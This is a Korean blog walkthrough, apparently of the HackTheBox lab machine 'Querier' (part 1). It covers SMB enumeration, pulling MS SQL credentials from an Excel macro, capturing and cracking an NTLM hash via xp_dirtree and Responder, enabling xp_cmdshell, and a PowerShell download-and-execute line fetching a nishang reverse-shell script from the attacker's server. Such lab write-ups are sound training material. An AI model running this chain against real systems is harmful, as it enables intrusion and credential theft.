모의 해킹/Windows

[모의 해킹] HackTheBox - Querier Part 1

solo-infosec 2025. 3. 12. 03:48
반응형

Querier

OS: Windows

취약점: SMB 공유 풀더를 통한 민감 정보 유출

 

SMB 공유 풀더에 접근해서 파일을 다운로드하고 해당 파일의 vbascript에서 탈취한 계정으로 MS SQL Server를 조작해 리버스쉘을 획득해야 하는 머신이다. 
 

포트 스캐닝

nmap -Pn -sS --min-rate 1000 --max-retries 3 -p- -oN ./SYN_SCAN 10.10.10.125
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown
nmap -Pn -sC -sV -p $(cat PORTS) -oN SERVICE_SCAN 10.10.10.125
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.10.125:1433: 
|     Target_Name: HTB
|     NetBIOS_Domain_Name: HTB
|     NetBIOS_Computer_Name: QUERIER
|     DNS_Domain_Name: HTB.LOCAL
|     DNS_Computer_Name: QUERIER.HTB.LOCAL
|     DNS_Tree_Name: HTB.LOCAL
|_    Product_Version: 10.0.17763
|_ssl-date: 2025-03-10T08:22:48+00:00; -9h17m58s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-03-10T08:14:51
|_Not valid after:  2055-03-10T08:14:51
| ms-sql-info: 
|   10.10.10.125:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

 
HTTP 포트는 열려 있지 않다. 원도우 머신답게 139, 445 SMB 포트들이 열여있다.  그 다음 눈에 들어오는 포트는 당연히 MS SQL 포트인데 MS SQL Server에 접속할 수 있다면 xp_cmdshellxp_dirtree를 사용해 RCE, NTLM Hash 탈취, Directory Traversal을 노려볼 수 있다. 5985/tcp는 HTTP 기반 WS-Man 프로토콜을 위한 포트다. 이 포트를 통해 윈도우에 원격 접속을 할 수 있기 때문에 기록해 놓자.
 

SMB

우선 익명, Guest 계정으로 SMB에 접근할 수 있는지 확인해 보자.

netexec smb 10.10.10.125 -u '' -p ''

Guest 계정은 접근이 불가능 했지만 익명 계정은 접근이 가능하다는 것을 확인했다. SMB를 통해 타겟 머신의 운영체제가 Windows 10 / Server 2019 Build 17763 x64라는 것과 도메인이 HTB.LOCAL이라는 것 또한 확인 가능했다. 그럼 이제 익명 계정을 활용해서 사용자 정보와 공유 풀더를 조사해 보자.
 

netexec smb 10.10.10.125 -u '' -p '' --users
netexec smb 10.10.10.125 -u '' -p '' --rid-brute

익명 계정의 권한이 부족해 사용자 정보나 RID에 접근할 수 없는 것 같다. (사용자 정보에 접근할 수 없더라도 RID에 대한 쿼리를 할 수 있는 권한이 있다면 RID를 Brute-Forcing 하는 방식으로 사용자 정보를 획득할 수 있다.)
 

┌─[solo@parrot]─[~/Desktop/hack/scan]
└──╼ $netexec smb 10.10.10.125 -u '' -p '' --shares
┌─[solo@parrot]─[~/Desktop/hack/scan]
└──╼ $smbclient -I 10.10.10.125 --no-pass -L -D

netexec은 익명 계정으로 SMB 공유 풀더에 접근이 불가능 했지만 smbclient를 사용해서 SMB 공유 풀더에 접근할 수 있었다;;;
아마 이 툴들이 각각 인증하는 방식이 다르거나 아니면 작동 방식이 달라서 이런 결과가 발생한 것 같다. 그러니 다양한 툴들을 활용해 SMB 공유 풀더 접근을 시도하는 올바른 습관(?)을 들이자. 
 

smbclient //10.10.10.125/Reports --no-pass

확인해 보니 오직 Report 풀더에만 읽기 권한으로 접근할 수 있었다. 파일의 확장자 (xlsm)을 보니 엑셀 파일인 것 같다. 엑셀 파일에 무슨 정보가 담겨 있는지, 해당 파일에 vbascript가 포함되어 있진 않은지 다운 받아서 확인해 보자. 
 

┌─[solo@parrot]─[~/Desktop/hack/smb]
└──╼ $olevba 'Currency Volume Report.xlsm'

 

olevba는 파일에 포함된 vbascript가 무엇인지 확인할 때 사용하는 툴이다. (악의적인 vbascript가 삽입된 악성 파일을 분석할 때 많이 사용된다.) olevba로 파일을 확인해 보니 vbascript가 포함되 있었다. 해당 스크립트의 내용은 대충 reporting 계정으로 MS SQL Server의 volume 데이터베이스에 연결한다는 내용이다. 해당 계정으로 MS SQL 서버에 접근할 수 있는지 확인해 보자.
 

┌─[✗]─[solo@parrot]─[~/Desktop/wordlist]
└──╼ $netexec mssql 10.10.10.125 -u reporting -p 'PcwTWTHRwryjc$c6' -d volume

해당 계정으로 성공적으로 MS SQL Server에 접근할 수 있었다. MS SQL Server에 접근할 수 있다면 데이터베이스 정보를 조회하거나 xpcmd_shell, xp_dir_tree 기능을 사용해서 RCE, NTLM Hash 탈취, Directory Traversal을 통한 파일 시스템 구조 확인이 가능하다.
 

MS SQL

┌─[solo@parrot]─[~/Desktop/wordlist]
└──╼ $mssqlclient.py 'reporting:PcwTWTHRwryjc$c6@10.10.10.125' -windows-auth

xp_cmdshell은 reporting 계정의 권한이 부족해서 실행할 수 없었다. 하지만 xp_dirtree는 실행할 수 있었다. 이런 경우 두가지 선택지를 고를 수 있다.
1. C:\ 풀더의 구조 확인하기
2. NTLM Hash 탈취하기
웹, SMB, FTP 같은 루트로 호스트의 민감한 파일에 접근할 수 있는 것도 아니고 특정한 서버나 서비스의 설정 파일에 접근해 민감한 정보를 획득할 수 있는 상황도 아니라서 우선 NTLM Hash를 획득하기로 했다.
 

┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $sudo responder -I tun0

Responder를 사용해서 NTLM Hash를 수신할 가짜 SMB 서버를 만들자.
 

SQL (QUERIER\reporting  reporting@volume)> xp_dirtree //10.10.14.27/hi

성공적으로 NTLM Hash를 획득했다. 계정명은 mssql-svc고 계정 비밀번호는 John The Ripper나 Hashcat을 사용해 크랙하자.
 

┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $john --format=netntlmv2  --wordlist=../wordlist/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568     (mssql-svc)     
1g 0:00:00:01 DONE (2025-03-11 05:47) 0.6134g/s 5499Kp/s 5499Kc/s 5499KC/s correemilio..corby6602
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

John The Ripper와 rockyou.txt를 사용해 크랙했다. mssql-svc의 비밀번호 corporate568을 획득했다. 이제 해당 계정으로 SMB, winrm, mssql에 접근할 수 있는지 확인해 보자.
 

처음엔 접근이 불가능한 줄 알고 식겁했다;;;  충격과 공포다 그지 깽깽이들아
몰려오는 충격과 공포를 잠시 진정시킨 뒤 무엇이 잘못됐는지 자세히 살펴 보았다. 눈에 들어오는 것은 호스트의 이름이 QUERIER이라는 것이었다.
 

┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $netexec smb 10.10.10.125 -d QUERIER -u mssql-svc -p corporate568

mssqlclient.py -dc-ip 10.10.10.125 -target-ip 10.10.10.125 ‘QUERIER/mssql-svc:corporate568@10.10.10.125’ -windows-auth

다행히도 도메인을 QUERIER로 설정하고 다시 인증을 시도해 보니 mssql-svc 계정에 접근할 수 있었다ㅠ
이미 mssql-svc 계정을 획득했기 때문에 NTLM Hash를 전송하는건 더이상 의미가 없고 xp_cmdshell을 통한 RCE가 가능한지 시도해 보자.
 

SQL (QUERIER\mssql-svc  dbo@master)> enable_xp_cmdshell
INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (QUERIER\mssql-svc  dbo@master)> xp_cmdshell whoami

xp_cmdshell이 가능하다. 윈도우에서 리버스쉘을 생성할 수 있는 방법은 여러가지가 있다. 우리에겐 두가지 방법이 있다.
1. 리버스쉘 파일을 업로드하고 실행하기
2. Powershell 코드를 실행해서 리버스쉘 생성하기
나는 Powershell 스크립트를 실행해서 리버스쉘을 생성하기로 결정했다. 딱히 다른 이유는 없고 이 방식이 더 편리해서다
 
Powershell 전용 리버스쉘 스크립트로 유명한 nishangInvoke-PowerShellTcp.ps1를 다운 받아서 수정하자. 
(nishang 리포에선 다양한 해킹용 Powershell 스크립트를 다운받을 수 있다.)
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

nishang/Shells/Invoke-PowerShellTcp.ps1 at master · samratashok/nishang

Nishang - Offensive PowerShell for red team, penetration testing and offensive security. - samratashok/nishang

github.com

 

┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $python3 -m http.server

파이썬의 http.server 모듈을 활용하면 손쉽게 업로드용 HTTP 서버를 생성할 수 있다.
 

SQL (QUERIER\mssql-svc  dbo@master)> 
xp_cmdshell powershell iex(new-object net.webclient).downloadstring(\"http://10.10.14.27:8000/Invoke-PowerShellTcp.ps1\")
┌─[solo@parrot]─[~/Desktop/hack]
└──╼ $python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.125 - - [11/Mar/2025 06:36:39] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -

 
SMB에 대한 기본 지식, MS SQL에 대한 취약점을 알고 있어야 하고 비밀번호 해키 크래킹을 할 수 있어야 한다. 또한, 이 머신을 공략하기 위해선 윈도우 호스트가 네트워크에서 어떤 방식으로 작동하는지 알고 있어야 mssql-svc 서비스 계정을 탈취할 수 있다. 만약 이 머신을 공략하는데 어려움이 있었다면 똑같은 취약점을 가진 더욱 쉬운 난이도의 머신을 공략하면서 감을 익히는 것도 나쁘지 않다. 리눅스보다 윈도우 머신이 더욱 복잡하고 어려우니 윈도우 해킹에 관심 있으면 진짜 열심히 공부하자
 

다음편 바로가기

https://solo-infosec.tistory.com/5

HackTheBox - Querier Part 2

QuerierOS: Windows mssql-svc 계정이 가지고 있는 취약한 권한을 활용해 System 계정으로 리버스쉘을 생성할 수 있다. 시스템 정보 확인 PS C:\Windows\system32> systeminfoHost Name: QUERIEROS Name: Microsoft Windows Server

solo-infosec.tistory.com

 
 
 

반응형